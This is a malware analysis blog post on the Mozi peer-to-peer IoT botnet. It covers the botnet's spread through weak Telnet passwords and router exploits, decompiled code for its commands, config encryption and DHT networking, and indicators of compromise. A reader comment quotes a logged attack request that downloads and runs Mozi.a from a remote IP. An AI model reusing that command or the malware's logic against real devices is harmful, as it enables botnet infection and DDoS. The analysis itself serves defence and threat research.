

Botnet

Mozi, Another Botnet Using DHT

Mozi Botnet relies on the DHT protocol to build a P2P network, and uses ECDSA384 and the xor algorithm to ensure the integrity and security of its components and P2P network. The sample spreads via Telnet with weak passwords and some known exploits



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Dec 23, 2019 • 11 min read

Overview

On September 03, 2019, a suspicious file was tagged by our new threat monitoring system and a quick checking on VT shows most engines flagged it as Gafgyt. The sample does reuse part of the Gafgyt code, but it is not really Gafgyt.

The sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name


Mozi.m, Mozi.a

Mozi Botnet relies on the DHT protocol to build a P2P network, and uses ECDSA384 and the xor algorithm to ensure the integrity and security of its components and P2P network. The sample spreads via Telnet with weak passwords and some known exploits (see the list below). In terms of functions, the execution of the instructions of each node in the Mozi botnet is driven by a Payload called Config issued by the Botnet Master. The main instructions include:

- DDoS attack
- Collecting Bot Information
- Execute the payload of the specified URL

- Update the sample from the specified URL
- Execute system or custom commands

The overall network structure is shown in the following figure:



Sample Spread

Mozi infects new devices through weak telnet passwords and exploits. The infection process is as follows:

- The current Bot node randomly uses a local port to start the http service to provide sample downloads or receives the sample download address in the Config file issued by the Botnet Master. Provides a sample download address for future infected targets.
- The current Bot node logs in to the target device with a weak password, writes the downloader file in echo mode and runs it, and downloads the sample file from the sample download address provided by the current

Bot node. Or use a vulnerability to exploit the target, and then obtain a sample file from the sample download address provided by the current Bot node.

- Run the Mozi Bot sample on the infected target device, join the Mozi P2P network to become the new Mozi Bot node and continue to infect other new devices.


The vulnerabilities used by Mozi Botnet are shown in the following table:

VULNERABILITY	AFFECTED DEVICE
Eir D1000 Wireless Router RCI	Eir D1000 Router
Vacron NVR RCE	Vacron NVR devices
CVE-2014-8361	Devices using the Realtek SDK
Netgear cgi-bin Command Injection	Netgear R7000 and R6400
Netgear setup.cgi unauthenticated RCE	DGN1000 Netgear routers
JAWS Webserver unauthenticated shell command execution	MVPower DVR
CVE-2017-17215	Huawei Router HG532
HNAP SoapAction-Header Command Execution	D-Link Devices
CVE-2018-10561, CVE-2018-10562	GPON Routers
UPnP SOAP TelnetD Command Execution	D-Link Devices
CCTV/DVR Remote Code Execution	CCTV DVR

At present, we do not know the exact scale of the Botnet, we do manage to become a node to join the DHT network and are tracking some baseline numbers, we will share more details probably in another blog later on. And from other data we have collected, we can also see the number of infection has been increasing. The picture below shows the Mozi bot infection based on the log collected by our honeypot.

Sample Reverse Analysis

There are three versions of Mozi Botnet, which can be distinguished by their slightly different telnet propagation methods.



Our analysis is mainly focus on the latest version v2, and this blog will cover the key elements such as propagation method, Config structure and its DHT network.

Sample Information

MD5:eda730498b3doa97066807a2d98909f3

ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

Packer: NO

Library:uclibc

Version: v2

It is worth mentioning that in the first version Mozi(sample md5:

849b165f28ae8b1cebe0c7430f44aff3) used upx packing. But instead of using the common upx magic number to defeat unpacking, it used a novel method, to erase the value of p_filesize & p_blocksize to zero, with that change, researcher need to patch the upx source code then unpacking is possible.

Common Functions

Mozi doesn't have much characteristics in the host behavior level. It reuses Gafgyt's code to implements many common functions, such as single instance, process name modification, and ACL modification.

- Single instance, by binding local port

```
v3 = _GI_socket(2, 2, 0);  
v10.sin_port = 0x9139u; // 14737  
v10.sin_family = 2;  
v10.sin_addr.s_addr = _GI_inet_addr("127.0.0.1");  
v11 = 1;  
if ( v2 == 5 )  
{  
    v9 = 4;  
    _GI_setsockopt(v3);  
}  
result = _GI_bind(v3, (const struct sockaddr *)&v10, 0x10u);  
if ( result < 0 )  
{
```

- Change the process name to sshd or dropbear to confuse the victim


```
v6 = access("/usr/bin/python", 0);  
v7 = *v3;  
v8 = "dropbear";  
if ( v6 != -1 )  
    v8 = "sshd";  
v9 = strlen(*v3);  
_GI_strncpy(v7, "", v9);  
_GI_sprintf(*v3, v8);  
v51 = 0;  
prctl(PR_SET_NAME, v8, 0);
```

- ACL modification, Open up the ports;block SSH, TELNET services to prevent Bot from being re-infected by other malicious actors.

```
wrap_system("iptables -I INPUT -p udp --destination-port %d -j ACCEPT", port);  
wrap_system("iptables -I OUTPUT -p udp --source-port %d -j ACCEPT", port);  
wrap_system("iptables -I PREROUTING -t nat -p udp --destination-port %d -j ACCEPT", port);  
wrap_system("iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT", port);  
if ( /uncommented /auto-huge pages / open /  
  
_libc_system("iptables -I INPUT -p tcp --destination-port 22 -j DROP");  
_libc_system("iptables -I INPUT -p tcp --destination-port 23 -j DROP");  
_libc_system("iptables -I INPUT -p tcp --destination-port 2323 -j DROP");  
_libc_system("iptables -I OUTPUT -p tcp --source-port 22 -j DROP");  
_libc_system("iptables -I OUTPUT -p tcp --source-port 23 -j DROP");  
_libc_system("iptables -I OUTPUT -p tcp --source-port 2323 -j DROP");
```

Perform Specific Tasks

After Mozi establishes the p2p network through the DHT protocol, the config file is synchronized, and the corresponding tasks are started according to the instructions in the config file. In P2P networks, nodes are untrusted, and anyone can fake a Mozi node at a very low cost. In order to ensure that the Mozi network is completely controllable and cannot be stolen by others, Mozi needs to perform signature verification on each synchronized config, and only if it can pass the signature verification can it be accepted and executed by the Mozi node.



Document & Instruction Inspection

Mozi uses the ECDSA384 algorithm to verify the legitimacy of files and instructions. Each sample integrates two xor-encrypted public keys, which are used to sign encrypted and decrypted config files, respectively.

```

xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
-----
xored publickey A
    4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
    69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
    38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
    02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
    27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
    76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-----
xored publickey B
    4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
    E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53

```

22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88

after decryption:

02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6

Config File

Each sample integrates an xor-encrypted initial config file with a length of 528 bytes. Its structure is data (428 bytes), sign (96 bytes), flag (4 bytes). The sign field is a digital signature and the flag field controls if the config file is updated or not. There are many control fields in the config file. After receiving the config, the Mozi node parses the field content and executes the corresponding subtasks. The original config file is as follows.

Hiew: config.dat

00000000:	15 15 29 D2-E2 A7 D8 78-A2 DF 34 5B-8E 27 1F 23	□)????x??4[?'
00000010:	76 5E 62 B7-B8 F0 94 1B-D6 83 2F 76-88 14 0C 11	v`b?????□?/?v?█
00000020:	3B 08 2E D2-E8 BC D8 53-B7 83 68 6F-B4 61 5A 4F	;□????S??ho?aZ0
00000030:	60 0A 3B A0-E7 A7 9D 1C-E4 C8 7A 37-EC 77 56 4A	□????□?z7?wVJ
00000040:	7E 54 6D A9-F0 BD 91 4B-F9 D8 37 23-E6 2E 4A 4C	~Tm????K??7#?, JL
00000050:	28 43 68 E9-E2 A9 C5 47-F8 82 24 69-B8 60 34 17	(Ch????G??\$i? 4
00000060:	2A 16 07 D4-AF AB C3 56-E3 D8 1A 06-D5 4F 6F 7E	*□????V??□?0o~
00000070:	4E 66 5A 8F-80 C8 AC 23-8D AC 47 06-D5 4F 6F 7E	NfZ?€?#??G□?0o~
000001A0:	4E 66 5A 8F-80 C8 AC 23-8D AC 47 06-EB A0 C6 F6	NfZ?€?#??G□?????
000001B0:	AF A2 71 15-05 C6 F5 04-35 30 BD F6-27 20 DA 51	?/?q□?30??' ?Q
000001C0:	01 E9 51 00-32 AA 69 63-9E 05 21 C7-16 8C B0 AA	□Q 2?ic?□?□??
000001D0:	FC C8 F4 20-7F 18 50 B3-23 16 50 B2-65 27 2F 24	??? □?#□?e'/\$
000001E0:	07 E0 63 72-8D 92 78 1B-FF B5 8F 4D-58 41 CB 83	□cr??x□??MXA??
000001F0:	49 61 56 7E-55 FF 1F C6-0F 6C 66 69-79 F4 BF 63	IaV~U □?□fiy??c
00000200:	D5 90 F3 B4-4A 54 74 C7-2A 3A 15 D1-00 00 00 00	????JTt?*:□

The decryption process is shown in the following figure, where the xor key is 4E

66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E

```
j__memcpy(&tid_return, &xorkey, 0x10u);
v61 = &decodecfg;
ii = 0;
do
{
    v63 = *((_BYTE *)&v295 + ii++ % 16 - 0x7C);
    *v61 ^= v63;
    ++v61;
}
while ( ii != 524 );
```

The decrypted config is as follows.

Hiew: xored_config.dat

00000000:	5B 73 73 5D-62 6F 74 5B-2F 73 73 5D-5B 68 70 5D	[ss]bot[/ss][hp]
00000010:	38 38 38 38-38 38 38 38-5B 2F 68 70-5D 5B 63 6F	88888888[/hp][co
00000020:	75 6E 74 5D-68 74 74 70-3A 2F 2F 69-61 2E 35 31	unt]http://ia.51
00000030:	2E 6C 61 2F-67 6F 31 3F-69 64 3D 31-39 38 39 34	.la/go1?id=19894
00000040:	30 32 37 26-70 75 3D 68-74 74 70 25-33 61 25 32	027&pu=http%3a%2
00000050:	66 25 32 66-62 61 69 64-75 2E 63 6F-6D 2F 5B 69	f%2fbaidu.com/[i
00000060:	64 70 5D 5B-2F 63 6F 75-6E 74 5D 00-00 00 00 00	dp][/count]
00000070:	00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00	
000001A0:	00 00 00 00-00 00 00 00-00 00 00 3E EF A9 88	>???
000001B0:	E1 C4 2B 9A-85 0E 59 27-B8 9C FA F0-F2 6F B5 2F	??+??□'?????o?/
000001C0:	4F 8F 0B 8F-B2 62 C5 40-13 A9 66 C1-C3 C3 DF D4	0?□?b?@□f?????
000001D0:	B2 AE AE AF-FF D0 FC 90-AE BA 17 B4-B0 68 40 5A	????? ??????□?h@Z
000001E0:	49 86 39 FD-0D 5A D4 38-72 19 C8 4B-8D 0E A4 FD	I?? Z??r□?K?□??
000001F0:	07 07 0C F1-D5 37 B3 E5-82 C0 21 6F-AC BB D0 1D	□?7????!o???□
00000200:	9B F6 A9 3B-CA 9C D8 E4-A7 96 52 D7 00 00 00 00	???;??????R?

The supported keywords are as follows, which can be divided into three categories: declaration, control, and subtask.

```
1: declaration
[cpu]    cpu arch or os
[cpux]   cpu arch or os
[ss]     bot role
[ssx]    bot role
[nd]     new node info which help to join DHT
2:control
[ver]    verify
[sv]     update Config
[hp]     DHT id prefix
[dip]    URL or ip:port list which can get Mozi sample
3:subtask
[atk]    DDOS attack
[ud]     update
[dr]     exec payload from specific URL
[rn]     exec system or customized cmds
[idp]    report bot info
```

Bot Function

- DDOS, [atk] field trigger, reuse Gafgyt attack code, support HTTP, TCP, UDP and other attacks.

Command

S
T
U

```

7 result = (unsigned __int8 *)GetValue(a1, a2, (int)"[atk]", (int)[/atk]", &v13);
8 v3 = result;
9 if ( result )
10 {
11     if ( wrap_strlen(result) > 0 )
12     {
13         ...
14     }
15     attack_proc(v5, (int *)&v12);      if ( !strcmp(*v2, "HTTP" ) )
16     {                                {
17         if ( !strcmp(v4, "S" ) )    if ( strcmp(v4, "U" ) )    if ( strcmp(v4, "T" ) )
18         {                            {                            { goto LABEL_82;
19             ...
20         }
21     }
22 }
23     if ( !strcmp(v4, "KT" ) &&
24     {

```

- Report Bot information, [idp] field trigger, the content reported are Bot ID, IP, PORT, file name (full path), gateway, cpu architecture.

```

sub_1BB78((int)byte_58384);
v196 = sub_1ECF4((int)&pcount, "[idp]", (int)byte_58384, 0);
if ( v196 )
{
    _GI_strcpy(&pcount, v196);
    free(v196);
}
subtask_idp((int)&pcount, (int)v235, port, (int)&localIp, (int)&v274, cpu_value, (int)
_GI_sprintf(
    &v19,
    "GET %s HTTP/1.1\r\n"
    "Host: %s\r\n"
    "Connection: Keep-Alive\r\n"
    "Content-Type: application/octet-stream\r\n"
    "Referer: http://baidu.com/%s/%s/%d/%s/%s%s)\r\n"
    "\r\n",
    Connection: Keep-Alive
    Content-Type: application/octet-stream
    Referer: http://baidu.com/38383838383838E5E97D3D5A8C8B2424308337/10.255.12.141/57821//tmp/gnmslv/10.255.12.128.a

```

- The payload of the specified URL is executed, and the [dr] field is triggered.

```

v16 = GetValue(v3, v4, (int)"[dr]", (int)[/dr]", &v26);
if ( !v16 )
    ...
    _GI_sprintf(
        &v70,
        "GET %s HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\nContent-Type: application/octet-stream\r\n\r\n";
        &v72,
    _GI_chmod(v25, v23);
    wrap_system("%s&", v25);
return 1;

```

- Update from the specified URL, the [ud] field is triggered. Close the current node's network connection and related processes, download the new version from the specified URL, save DHT node, ID and other data, and provide them as parameters for the new version.

```

v10 = (char *)GetValue(v3, v4, (int)"[ud]", (int)"/ud]", &v39);
if ( v10 )
{
    ...
    j_memcpy((char *)&v34 + v20, "confirmed.list", 0xEu);
    v21 = strlen(ptmp);
    j_memcpy((char *)&v33 + v21, "new.list", 8u);
    j_memcpy(&v31, dword_61E34, 0x4C08u);
    v22 = _GI_fopen(&v34, "wb");
    if ( v22 && _GI_fwrite((int)&v31, 19464, 1, v22) ==
        ...
        ...
        "GET %s HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\nContent-Ty
&v72,
&v71);
    v5 = strlen(&v70);
    if ( _libc_write(v4, &v70, v5) == -1 )
        return 0;
    }
    if ( dword_70144 )
    {
        _GI_kill(dword_70144, 9);
        wrap_system("kill -9 %d", dword_70144);
    }
    if ( dword_7013C )
    {
        _GI_kill(dword_7013C, 9);
        wrap_system("kill -9 %d", dword_7013C);
    }
    _GI_execl((int)&unk_70B04, (int)&unk_70B04, &v37, &v36, &v34, &v33
}
}

```

- Execute system or Bot custom command, [rn] field trigger.

- System command

```

rdbuf = GetValue((int)&decodecfg, v6, (int)"[rn]", (int)"/rn]", &v67);
lrbuf = rdbuf;
if ( !lrbuf )
    return 1;
if ( v16 == 1 )
{
    _libc_system(rdbuf);
    return 1;
}

```

- Customize the GET command and send the Bot ID to the peer.

```

rdbuf = GetValue((int)&decodecfg, v6, (int)"[rn]", (int)"/rn]", &v67);
lrbuf = rdbuf;
if ( v67 == 3 || _GI_memmem(rdbuf, 3, "GET", 3) )
{
    _libc_sendto(v57, randomKey, 0x14u, 0, (const struct sockaddr *)from, v7)
}

```

- Customize the run command, execute the command issued by the peer, and return the result.

```

rdbuf = GetValue((int)&decodecfg, v6, (int)"[rn]", (int)"/rn]", &v67);
lrbuf = rdbuf;
if ( _GI_memmem(lrbuf, 4, "run:", 4) )
{
    read_fromPipe(lrbuf + 4, 10, (int)&v60, 10240);
    v50 = strlen(&v60);
    _libc_sendto(v58, &v60, v50, 0, (const struct sockaddr *)from, v7);
}

```

DHT

Mozi Botnet uses its own extended DHT protocol to build a P2P network. There are two benefits to this. One is to use standard DHT to quickly establish a network, and the other is to use its own extension to hide the valid payload in the vast amount of normal DHT traffic so detection is impossible without proper knowledge. Mozi uses 8 sets of public nodes and the nodes specified in the [nd] field of the Config file as bootstrap nodes, to guide new nodes to join their DHT network.

- Public node, sample embedded

```
dht.transmissionbt.com:6881  
router.bittorrent.com:6881  
router.utorrent.com:6881  
bttracker.debian.org:6881  
212.129.33.59:6881  
82.221.103.244:6881  
130.239.18.159:6881  
87.98.162.88:6881
```

- [nd] Specified in the Config file

```

result = GetValue(a1, a2, (int)"[nd]", (int)"/[nd]", &v13);
if ( result )
{
    for ( i = _GI_strtok(result, ","); i; i = _GI_strtok(i, ",") )
    {
        strcpy(&v11, "pn");
        v14 = 0;
        v15 = 0;
        v12 = 0;
        v4 = _GI_strchr(i, 58);
        v6 = (_BYTE *)v4;
        v5 = v4 == 0;
        v7 = v4 + 1;
        LOWORD(v8) = 0xE11Au;
        if ( !v5 )
        {
            sub_310A4(v7);
            *v6 = 0;
            v8 = (v9 << 8) & 0xFF00 | ((unsigned int)(v9 << 16) >> 24)
        }
        v10.sin_addr.s_addr = 0;
        v10.sin_family = 2;
        v10.sin_port = v8;
        *(DWORD *)v10.sin_zero = 0;
        *(DWORD *)&v10.sin_zero[4] = 0;
        v10.sin_addr.s_addr = _GI_inet_addr(i);
        send_ping((unsigned __int8 *)&v10, 16, &v11, 4);
    }
}

```

ID Generation

The ID is 20 bytes and consists of the prefix 888888 embedded in the sample or the prefix specified by the config file [hp], plus a randomly generated string.

```

result = (unsigned __int8 *)GetValue(a1, a2, (int)"[hp]", (int)"/hp]", &v9);
lbuf = result;
if ( result )
{
    if ( wrap_strlen(result) > 0 && wrap_strlen(lbuf) <= 17 )
    {
        memset((int)a888888, 0, 18);
        v4 = a888888;
        for ( i = 0; ; ++i )
        {
            ++v4;
            if ( i >= wrap_strlen(lbuf) )
                break;
            *(v4 - 1) = lbuf[i];
        }
        v6 = _GI_random();
        if ( !mod_operation(v6, 0x32u) )
        {
            v8 = wrap_strlen((unsigned __int8 *)a123888d1Ad2Id2);
            genIdInfo((int)randomKey, (int)a123888d1Ad2Id2, v8);
        }
        v7 = wrap_strlen((unsigned __int8 *)a888888);
        genIdInfo((int)randomKey, (int)a888888, v7);
        result = (unsigned __int8 *)1;
    }
    else
    {
        result = (unsigned __int8 *)1;
    }
}

```

Node Recognition

In order to distinguish regular traffic with its own traffic, Mozi uses `1:v4:flag(4 bytes)` such an identifier to identify whether the traffic is sent by its node. The meaning of the flag byte is as follows.

00000000	64 31 3a 61 64 32 3a 69 64 32 30 3a 38 38 38 38	d1:ad2:i d20:8888
00000010	38 38 38 38 92 21 dd 4f 60 6f b5 5b 69 e6 06 ba	8888.!0 `o.[i...
00000020	65 31 3a 71 34 3a 70 69 6e 67 31 3a 74 34 3a 70	e1:q4:pi ng1:t4:p
00000030	6e 00 00 31 3a 76 34 3a 44 42 1f 71 31 3a 79 31	n..1:v4: DB.q1:y1
00000040	3a 71 65	:qe

flag means is as follows

flag(4 bytes)

offset:

- 0 -----random
- 1 ----- hard-code(0x42) or from [ver]

```
2 -----calc by algorithm  
3 -----calc by algorithm
```

The first byte is randomly generated. The second byte is hard-coded 0x42 or specified by the [ver] field in the config file.

```
verBuf = (char *)GetValue((int)&decodecfg, 524, (int)"[ver]", (int)"/ver", &ve  
if ( verBuf )  
{  
    byte_52D5C = *verBuf;  
    j_memcpy(&byte_58618, "1:v4:JBls", 9u);  
    byte_5861D = _GI_random();  
    msgFlag = byte_52D5C;  
    --  
    ^
```

The 3rd and 4th bytes are obtained by the algorithm.

```
ver algorithm  
-----  
int first,sec;  
string ver="\x31\x3a\x76\x34\x3a\x00\x00"s;  
cout << "Please input the two number: (0x00-0xff)" << endl;  
cin.unsetf(ios::hex);  
cin >> hex >> first >> sec;  
ver[5] = char(first);  
ver[6] = char(sec);  
uint32_t va = 0;  
for(int i = 0; i < 7; i++)  
{  
    uint32_t tmp = int(ver[i]);  
    tmp = tmp << 8;  
    tmp ^= va;  
    int rnd = 8;  
    while (rnd--)  
    {  
        if ((tmp & 0xffff) > 0x8000)  
        {  
            tmp *= 2;  
            tmp ^= 0xffff8005;  
        }  
        else  
            tmp *= 2;  
    }  
    va = tmp&0xffff;  
}  
cout << hex << "Final " << va << endl;
```

Please input the two number: (0x00-0xff)


0x44 0x42

Final 1f71

Enter 0x44 0x42, and get the `0x1f71` same result as in the packet.

Network Request

The network requests received by Mozi nodes can be divided into two categories, DHT requests and non-DHT requests. According to the aforementioned node identification, DHT requests are then again divided into Mozi-DHT requests and non-Mozi-DHT requests. Mozi supports three types of them, including ping, find_node, and get_peers. For non-DHT requests, there are two types based on whether the network packet length is greater than 99 or not.



For Mozi, Different requests have different processing logic, see below

```

if ( dht_memmem(lbuf, llen, "1:y1:r", 6) )
    return 1;
if ( dht_memmem(lbuf, llen, "1:y1:e", 6) )
    return 0;
v63 = dht_memmem(lbuf, llen, "1:y1:q", 6);
if ( v63 )
{
    if ( dht_memmem(lbuf, llen, "1:q4:ping", 9) )
    {
        result = 2;
    }
    else if ( dht_memmem(lbuf, llen, "1:q9:find_node", 14) )
    {
        result = 3;
    }
    else if ( dht_memmem(lbuf, llen, "1:q9:get_peers", 14) )
    {
        result = 4;
    }
    else
    {
        if ( !dht_memmem(lbuf, llen, "1:q13:announce_peer", 19) )
            return -1;
        result = 5;
    }
}
}

```

- Number 2: ping, DHT request, reply to pong directly according to standard DHT process.

```

        ....., // PING
        case 2: new_node(&id_return, (sockaddr *)&from, fromlen, 1, (int)&ver_return);
                  send_pong((const struct sockaddr *)&from, fromlen, &tid_return, tid_len);
                  break;

```

- Number 3: find_node, DHT request.

- Number 4: get_peers, DHT request.

Mozi combines `find_node` and `get_peers` into one. If the request comes from the Mozi node, there is a certain probability to send its Config content to the other party; if the request comes from a non-Mozi node, it is processed according to the standard DHT process.

0000017C	64 31 3a 61 64 32 3a 69	64 32 30 3a 38 38 38 38	d1:ad2:i d20:8888
0000018C	38 38 38 38 a0 a8 ee 25	4f 7b c5 d5 cf b2 19 72	8888...% 0{.....r
0000019C	36 3a 74 61 72 67 65 74	32 30 3a 38 38 38 38 38	6:target 20:88888
000001AC	38 38 38 f9 fa 20 6d 48	29 28 7f a3 c5 20 61 65	888.. mH)(... ae
000001BC	31 3a 71 39 3a 66 69 6e	64 5f 6e 6f 64 65 31 3a	1:q9:fin d_node1:
000001CC	74 34 3a 66 6e 00 00 31	3a 76 34 3a e2 42 cb 7b	t4:fn..1 :v4:.B.{
000001DC	31 3a 79 31 3a 71 65		1:y1:qe
00000383	64 31 3a 72 64 32 3a 69	64 32 30 3a 38 38 38 38	d1:rd2:i d20:8888
00000393	38 38 38 38 b7 96 a0 9e	66 e1 71 98 e5 4d 3e 69	8888.... f.q..M>i
000003A3	35 3a 6e 6f 64 65 73 36	32 34 3a 15 15 29 d2 f3	5:nodes6 24:...)...
000003B3	a3 f7 0c fe df 1a 5d bd	3f 32 46 76 5e 62 b7 b8]. ?2Fv^b..
000003C3	f0 94 78 a2 c4 37 5b 8e	2c 00 0b 20 12 07 e7 f4	.x..7[. ,...
000003D3	bc dc 19 a2 83 2e 67 fb	7a 5e 50 22 07 75 e8 efg. z^P".u..
000003E3	f9 93 4a e9 91 75 36 e4	76 57 4b 7c 51 7c ff f5	.J..u6. vWK Q ..
000003F3	f5 c4 57 f9 dc 62 35 b4	6a 5d 18 6b 54 3c ed e1	.W..b5. j].kT<..
00000403	a1 c8 56 a3 cf 28 6b fa	14 06 1a 3e 3b 01 a0 e3	.V..(k. ...>;...
00000413	a7 d9 4d f9 f1 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.M..G.. Oo~NfZ..
00000423	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
00000433	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
00000443	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
00000453	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
00000463	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
00000473	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
00000483	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
00000493	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
000004A3	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
000004B3	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
000004C3	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	.#.G.. Oo~NfZ..
000004D3	c8 ac 23 8d ac 47 06 d5	4f 6f 7e 4e 66 5a 8f 80	# G Oo~NfZ..

raw data, first 128 bytes:

00000000	64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38	d1:rd2:id20:8888
00000010	38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69	8888.. .fáq.åM>i
00000020	35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3	5:nodes624:...)òó
00000030	a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8	£÷.þß.]½?2Fv^b..
00000040	f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4	ð.xçÄ7[.,... .çô
00000050	bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef	¼Ü.¢..gûz^P".uèï
00000060	f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5	ù.Jé.u6ävWK Q ýõ
00000070	f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1	öÄwùÜb5'j].kT<íá
00000080	a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3	iÈVfÍ(kú...>;. ã

The encrypted Config is located after "5:nodes624:", using xor key (4E 66 5A 8F 80 C8

raw data:

00000000	64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38	d1:rd2:id20:8888
00000010	38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69	8888.. .fáq.åM>i
00000020	35 3a 6e 6f 64 65 73 36 32 34 3a	5:nodes624:...)òó

configuration:

00000000	5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38	[ss]sk[/ss] [hp]8
00000010	38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75	88888888[/hp] [cou
00000020	6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e	nt]http://ia.51.
00000030	6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35	la/go1?id=201985
00000040	32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66	27&pu=http%3a%2f

- Number 5: `announce_peer` not supported

```

    case 5: // ANNOUNCE_PEER NOT IMPLEMENT
        send_error(
            (const struct sockaddr *)&from,
            fromlen,
            &tid_return,
            tid_len,
            203,
            "This node doesn't accept announces");
        break;

```

- Number 6: Non-DHT request. The data packet length is less than 99 bytes. When the node receives this request, it will send its config content to the requester.

```

        break;
    }
    _libc_sendto(servFD, v239, 626u, 0, (const struct sockaddr *)&from, (socklen_t)v94);
    break:

```

- Number 7: Non-DHT request, the data packet length is greater than 99 bytes. When the node receives this request, it indicates that the received data is an encrypted Config file. For the execution process, refer to the previous section.

```

case 7: // handle NOT DHT replay, len buff > 99
    new_node(&id_return, (sockaddr *)&from, fromlen, 1, (int)&ver_return);
    if ( passSign != 1 )
        break;
    lbuf = (char *)buf;
    lbuflen = buflen;
    pID = 0;
    goto LABEL_452;
    |
LABEL_452:
    pbuf = alloc_malloc,
    subtask_runConfigpayload(lbuf, lbuflen, (int)pID, &from, fr
}

```

Suggestions

We recommend that users update the patch in a timely manner, and determine whether they are infected by looking up the process and file name, and HTTP, DHT network connection characteristics created by Mozi Botnet.

Contact us

Readers are always welcomed to reach us on [twitter](#), WeChat 360Netlab or email to netlab at 360 dot cn.

IoC list

Sample MD5:

```
eda730498b3d0a97066807a2d98909f3  
849b165f28ae8b1cebe0c7430f44aff3
```

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R

Ron Schnell

5 years ago

Noticed pen attempt in my web logs, as opposed to telnet exploit attempt:

```
GET /shell?cd+/tmp;rm+  
rf+*;wget+http://112.17.78.170:33643/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
```

0

0

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